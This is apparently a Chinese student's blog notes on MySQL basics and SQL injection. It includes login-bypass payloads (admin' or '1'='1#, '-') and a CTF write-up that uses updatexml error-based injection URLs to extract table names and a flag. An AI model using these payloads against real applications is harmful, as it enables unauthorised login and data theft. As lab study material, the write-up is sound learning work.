Mysql_or_Sql_injection

 · 2020-1-17 · 次阅读


0x00前言

很早之前就觉得自己的sql注入很菜了,一直没有机会爆肝sql注入,乘着这个寒假,认真的学习一哈mysql和sql注入。

0x01Mysql学习篇

  之前大二的时候学习过sql server,sql语句都类似,因而迅速的过一遍mysql,然后从原理和实践上更多的熟练sql注入。 Mysql也是一种关系型数据库(RDB) 什么是数据库? 数据库是按照数据结构来组织、存储和管理数据的仓库。 每个数据库都有一个或多个不同的API用于创建,访问,管理,搜索和复制所保存的数据。 数据也可以存储在文件中,数据库存储的优势在于数据读取速度快 所谓关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。 关系型数据库管理系统具有以下特点: >数据以表格形式出现 >每行为各种记录名称 >每列为各种记录名称 >每列为记录名称所对应的数据域 >许多的行和列组成一张表单 >若干的表单组成database

RDBMS术语:

数据库:数据库是一些关联表的集合 数据表:表是数据的矩阵,在一个数据库中的表看起来像一个简单的电子表格 列:一列(数据元素)包含了相同类型的数据,例如邮政编码的数据 行:一行(=元组,或记录)是一组相关的数据,例如一条用户点阅的数据 冗余:村粗两倍数据,冗余降低了性能,但提高了数据的安全性 主键:主键是惟一的,一个数据表中只能包含一个主键。可以使用主键来查询数据 外键:外键用于关联两个表 复合键:复合键将多个列作为一个索引值,一般用于复合索引 索引:使用索引可以快速访问数据库中的特定信息,索引是对数据库表中一列或多列的值进行排序的一种结构,类似于书籍的目录。 参照完整性:参照完整性: 参照的完整性要求关系中不允许引用不存在的实体。与实体完整性是关系模型必须满足的完整性约束条件,目的是保证数据的一致性。

Mysql与php

最近学到绕过登陆的骚操作利用’’-‘’
接下来我直接用命令行的形式,分别测试

select * from users where username='admin'
select * from users where username='admin'-''

这里的-可以理解为减号,但是减号admin减去空不就应该为admin,查询结果应该和上面一致呀,看下图:
Image text
为什么会不一样呢,这里我觉得计算机没法做减法,sql语句中的减法做之前是在做等于操作,也就是判断admin与’’是否相等,不相等返回0,因而查询语句变成了:
Image text
同理还有’’-‘admin’
Image text
通过上面接下来看一下怎么利用
例如一句sql:

select username from users where username = '${_POST['username']}' and password='${_POST['password']}'

怎么能成功登陆进admin账户,而不管密码正确否呢.
如果他什么都没过滤可以尝试

username:admin' or '1' ='1#
password:随便输入

这里还有很多种方法,这里先记录一下php的后面再补充.
但是如果过滤了空格,过滤了#过滤了=号呢
采用如下:

username:admin
password:'-'

这里就是用到我们上面测试的内容了,这样sql语句变成:

select username from users where username = 'admin' and password=''-''

这里空字符串-空字符串=0因而根据我们上面测试的结果,就会成功执行sql,而绕过登陆。当然如果还需要cookie这些这个方法就不行了。

CTF
极客大挑战Hard SQL
ExtractValue、UpdateXml报错注入
Extractvalue()函数,使用XPath表示法从XML字符串中提取值
参数xml_frag、xpath_expr

xml_frag: 目标xml文档
xpath_expr: 利用Xpath路径法表示的查找路径

报错注入原理如果第二个参数书写错误即可产生XPATH报错

?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

爆出数据库名为geek

http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

查出表名为:H4rDsq1

admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123

查出半截flag:flag{2a5c8cdb-8465-4583-b0
接下来使用

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,28))))from(H4rDsq1)),0x7e),1))%23&password=21

这里使用right()语句查询后面部分,8465-4583-b0fb-01e982b01387}
所以拿到flag:flag{2a5c8cdb-8465-4583-b0fb-01e982b01387}

下面贴一个在其他博客上看到的绕过登录的字典: